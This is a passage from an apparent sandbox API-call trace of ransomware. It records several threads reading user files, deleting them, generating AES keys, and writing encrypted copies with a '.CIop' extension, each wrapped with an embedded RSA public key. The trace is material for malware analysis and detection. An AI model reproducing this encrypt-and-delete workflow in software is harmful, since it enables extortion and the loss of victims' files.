0x14763 [0100.991] SetErrorMode (uMode=0x1) returned 0x1 [0100.991] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0100.991] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0100.991] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x357d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598 | out: pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598) returned 1 [0100.991] CryptAcquireContextW (in: phProv=0x357d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x357d5a8*=0x2f032e0) returned 1 [0100.994] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f032e0, dwCertEncodingType=0x1, pInfo=0x649710, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x357d5b0 | out: phKey=0x357d5b0*=0x648cb8) returned 1 [0100.994] CryptEncrypt (in: hKey=0x648cb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x357d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x357d5b4*=0x80) returned 1 [0100.994] CryptEncrypt (in: hKey=0x648cb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f04468*, pdwDataLen=0x357d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f04468*, pdwDataLen=0x357d5a4*=0x80) returned 1 [0100.994] WriteFile (in: hFile=0x5dc, lpBuffer=0x2f04468*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04468*, lpNumberOfBytesWritten=0x357e5d8*=0x80, lpOverlapped=0x0) returned 1 [0100.994] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.995] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.995] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.996] CloseHandle (hObject=0x5dc) returned 1 [0101.046] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\0eBemC7.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\7luf9ikqys 6\\0ebemc7.bmp")) returned 0 Thread: id = 170 os_tid = 0xccc [0100.929] lstrcpyA (in: lpString1=0x313e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.929] lstrcpyW (in: lpString1=0x313f368, lpString2="s5DMlEpMOzEY.pdf" | out: lpString1="s5DMlEpMOzEY.pdf") returned="s5DMlEpMOzEY.pdf" [0100.929] lstrcpyW (in: lpString1=0x313f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0100.929] SetErrorMode (uMode=0x1) returned 0x1 [0100.929] wsprintfW (in: param_1=0x313eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\s5DMlEpMOzEY.pdf") returned 46 [0100.929] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\s5DMlEpMOzEY.pdf", dwFileAttributes=0x20) returned 1 [0100.929] StrStrW (lpFirst="s5DMlEpMOzEY.pdf", lpSrch=".CIop") returned 0x0 [0100.929] wsprintfW (in: param_1=0x313e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\s5DMlEpMOzEY.pdf.CIop") returned 51 [0100.929] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\s5DMlEpMOzEY.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\s5dmlepmozey.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0100.930] ReadFile (in: hFile=0x5e8, lpBuffer=0x2f196f0, nNumberOfBytesToRead=0x2059, lpNumberOfBytesRead=0x313e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f196f0*, lpNumberOfBytesRead=0x313e5e8*=0x2059, lpOverlapped=0x0) returned 1 [0100.930] CloseHandle (hObject=0x5e8) returned 1 [0100.930] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\s5DMlEpMOzEY.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\s5dmlepmozey.pdf")) returned 1 [0100.963] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0100.963] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0100.964] SetErrorMode (uMode=0x1) returned 0x1 [0100.964] CryptAcquireContextW (in: phProv=0x313e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x313e5b8*=0x2f04ac8) returned 1 [0100.974] CryptGenKey (in: hProv=0x2f04ac8, Algid=0x1, dwFlags=0x4000, phKey=0x313e5bc | out: phKey=0x313e5bc*=0x6486f8) returned 1 [0101.072] CryptExportKey (in: hKey=0x6486f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x313e5ec | out: pbData=0x0*, pdwDataLen=0x313e5ec*=0x94) returned 1 [0101.072] CryptExportKey (in: hKey=0x6486f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3030000, pdwDataLen=0x313e5ec | out: pbData=0x3030000*, pdwDataLen=0x313e5ec*=0x94) returned 1 [0101.072] CryptDestroyKey (hKey=0x6486f8) returned 1 [0101.072] CryptReleaseContext (hProv=0x2f04ac8, dwFlags=0x0) returned 1 [0101.072] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\s5DMlEpMOzEY.pdf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\s5dmlepmozey.pdf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d0 [0101.121] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f196f0*, nNumberOfBytesToWrite=0x2059, lpNumberOfBytesWritten=0x313e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f196f0*, lpNumberOfBytesWritten=0x313e5d8*=0x2059, lpOverlapped=0x0) returned 1 [0101.121] SetFilePointer (in: hFile=0x5d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2059 [0101.122] WriteFile (in: hFile=0x5d0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x313e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x313e5d8*=0x7, lpOverlapped=0x0) returned 1 [0101.122] SetFilePointer (in: hFile=0x5d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2060 [0101.122] SetErrorMode (uMode=0x1) returned 0x1 [0101.122] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0101.122] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x313d5b8, pcbBinary=0x313d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x313d5b8, pcbBinary=0x313d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0101.122] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x313d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x313d5a0, pcbStructInfo=0x313d598 | out: pvStructInfo=0x313d5a0, pcbStructInfo=0x313d598) returned 1 [0101.122] CryptAcquireContextW (in: phProv=0x313d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x313d5a8*=0x2f049b8) returned 1 [0101.124] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f049b8, dwCertEncodingType=0x1, pInfo=0x64add0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x313d5b0 | out: phKey=0x313d5b0*=0x6489b8) returned 1 [0101.124] CryptEncrypt (in: hKey=0x6489b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x313d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x313d5b4*=0x80) returned 1 [0101.124] CryptEncrypt (in: hKey=0x6489b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f042d0*, pdwDataLen=0x313d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f042d0*, pdwDataLen=0x313d5a4*=0x80) returned 1 [0101.125] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f042d0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x313e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f042d0*, lpNumberOfBytesWritten=0x313e5d8*=0x80, lpOverlapped=0x0) returned 1 [0101.125] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.125] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.125] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.125] CloseHandle (hObject=0x5d0) returned 1 [0101.192] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\s5DMlEpMOzEY.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\s5dmlepmozey.pdf")) returned 0 Thread: id = 171 os_tid = 0xce0 [0100.997] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.997] lstrcpyW (in: lpString1=0x347f368, lpString2="t39geveg0wynNP.m4a" | out: lpString1="t39geveg0wynNP.m4a") returned="t39geveg0wynNP.m4a" [0100.997] lstrcpyW (in: lpString1=0x347f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0100.997] SetErrorMode (uMode=0x1) returned 0x1 [0100.997] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\t39geveg0wynNP.m4a") returned 48 [0100.997] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\t39geveg0wynNP.m4a", dwFileAttributes=0x20) returned 1 [0100.997] StrStrW (lpFirst="t39geveg0wynNP.m4a", lpSrch=".CIop") returned 0x0 [0100.997] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\t39geveg0wynNP.m4a.CIop") returned 53 [0100.997] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\t39geveg0wynNP.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\t39geveg0wynnp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0100.997] ReadFile (in: hFile=0x5e4, lpBuffer=0x6953e0, nNumberOfBytesToRead=0x116f, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6953e0*, lpNumberOfBytesRead=0x347e5e8*=0x116f, lpOverlapped=0x0) returned 1 [0100.998] CloseHandle (hObject=0x5e4) returned 1 [0100.998] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\t39geveg0wynNP.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\t39geveg0wynnp.m4a")) returned 1 [0101.073] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0101.073] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0101.073] SetErrorMode (uMode=0x1) returned 0x1 [0101.073] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x2f043e0) returned 1 [0101.084] CryptGenKey (in: hProv=0x2f043e0, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x648d78) returned 1 [0101.120] CryptExportKey (in: hKey=0x648d78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0101.120] CryptExportKey (in: hKey=0x648d78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x347e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0101.120] CryptDestroyKey (hKey=0x648d78) returned 1 [0101.120] CryptReleaseContext (hProv=0x2f043e0, dwFlags=0x0) returned 1 [0101.120] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\t39geveg0wynNP.m4a.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\t39geveg0wynnp.m4a.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0101.186] WriteFile (in: hFile=0x5e4, lpBuffer=0x6953e0*, nNumberOfBytesToWrite=0x116f, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6953e0*, lpNumberOfBytesWritten=0x347e5d8*=0x116f, lpOverlapped=0x0) returned 1 [0101.187] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x116f [0101.187] WriteFile (in: hFile=0x5e4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0101.187] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1176 [0101.187] SetErrorMode (uMode=0x1) returned 0x1 [0101.187] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0101.187] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0101.187] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0101.187] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x2f04820) returned 1 [0101.190] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f04820, dwCertEncodingType=0x1, pInfo=0x6498b0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x648d78) returned 1 [0101.190] CryptEncrypt (in: hKey=0x648d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0101.190] CryptEncrypt (in: hKey=0x648d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f048a8*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f048a8*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0101.190] WriteFile (in: hFile=0x5e4, lpBuffer=0x2f048a8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f048a8*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0101.190] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.190] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.190] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.191] CloseHandle (hObject=0x5e4) returned 1 [0101.191] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\t39geveg0wynNP.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\t39geveg0wynnp.m4a")) returned 0 Thread: id = 172 os_tid = 0xce4 [0101.139] lstrcpyA (in: lpString1=0x32be5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.139] lstrcpyW (in: lpString1=0x32bf368, lpString2="lMwuMumsTcOMWQg.bmp" | out: lpString1="lMwuMumsTcOMWQg.bmp") returned="lMwuMumsTcOMWQg.bmp" [0101.139] lstrcpyW (in: lpString1=0x32bf768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0101.139] SetErrorMode (uMode=0x1) returned 0x1 [0101.139] wsprintfW (in: param_1=0x32beb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\lMwuMumsTcOMWQg.bmp") returned 135 [0101.139] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\lMwuMumsTcOMWQg.bmp", dwFileAttributes=0x20) returned 1 [0101.140] StrStrW (lpFirst="lMwuMumsTcOMWQg.bmp", lpSrch=".CIop") returned 0x0 [0101.140] wsprintfW (in: param_1=0x32be758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\lMwuMumsTcOMWQg.bmp.CIop") returned 140 [0101.140] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\lMwuMumsTcOMWQg.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\7luf9ikqys 6\\lmwumumstcomwqg.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0101.140] ReadFile (in: hFile=0x5e4, lpBuffer=0x2f04f88, nNumberOfBytesToRead=0x1042e, lpNumberOfBytesRead=0x32be5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesRead=0x32be5e8*=0x1042e, lpOverlapped=0x0) returned 1 [0101.141] CloseHandle (hObject=0x5e4) returned 1 [0101.141] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\lMwuMumsTcOMWQg.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b 